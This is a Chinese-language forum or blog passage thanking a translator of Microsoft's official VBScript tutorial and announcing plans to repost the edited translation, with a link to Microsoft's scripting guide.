呵呵,如果愿意甚至可以把常用的軟件的快捷方式都放在QQ 皮膚上,把QQ 打造成一個完全
個性的軟件,徹底改變QQ 的用處。
=====================================
感謝錢峰
學習Vbs,當然是看微軟網(wǎng)站上推出的官方教程比較原汁原味,可惜中國vbs 學友里看過的恐
怕不多,原因很簡單,微軟的官方原著是英文版的,看起來很費力。
當時,我剛剛發(fā)現(xiàn)vbs 的妙處,可是除了一本微軟的《Microsoft Windows 腳本技術(shù).CHM》之外,
什么學習資料也找不到,看到網(wǎng)上介紹有一本《windows2000 腳本編程實用大全》的書,就跑
到各個書店去訂書,因為出版的時間太久了,那里都訂不到,又跑到各個技術(shù)網(wǎng)站上去發(fā)帖,
希望那位有電子版給我發(fā)一份,我愿意用其他方面的技術(shù)資料交換,結(jié)果如同石沉大海,一點
消息也沒有,在這里小小鄙視他們一下。
后來偶然在網(wǎng)絡上遇到錢峰先生,慷慨贈送了他翻譯的微軟的官方教程給我,讓我邁進了vbs
的大門,真是慚愧,由于計算機感染病毒,錢峰先生的郵件地址我也找不到了,只有他的一個qq
號碼,卻從來不見他上線,多次留言,也沒有見到他回應,在此對錢峰先生的翻譯工作及無償
贈予表示衷心的感謝!
今后一段時間,我將逐步將錢峰先生翻譯的微軟官方教程貼出,與大家共同溫習。
有英文好的朋友可能會發(fā)覺這份翻印的教程與微軟官方原版并不是完全相同,一是因為錢峰先
生翻譯的時候大約并沒有想到要出版或者與人交流,僅僅是自己學習,所以翻譯的比較粗糙,
我剛剛得到的時候,很多地方都看的不是很懂,在與微軟英文官方教程比較后,按照自己的理
解修改了其中的一部分(對其中的有些地方,其實到現(xiàn)在我也還是弄不明白);二是因為外國人
行文和思維的方式與中國人有著很大的差別,讀起來頗為費力,所以我對其中一些表達方式進
行了修改,刪除了其中一些我認為無關(guān)緊要的東西。各位學友如發(fā)現(xiàn)其中的錯誤請不吝指出,
我會盡快修改, 語意不祥的地方請參考官方網(wǎng)站:
http://www.microsoft.com/technet/scriptcenter/guide/default.mspx
愛華網(wǎng)



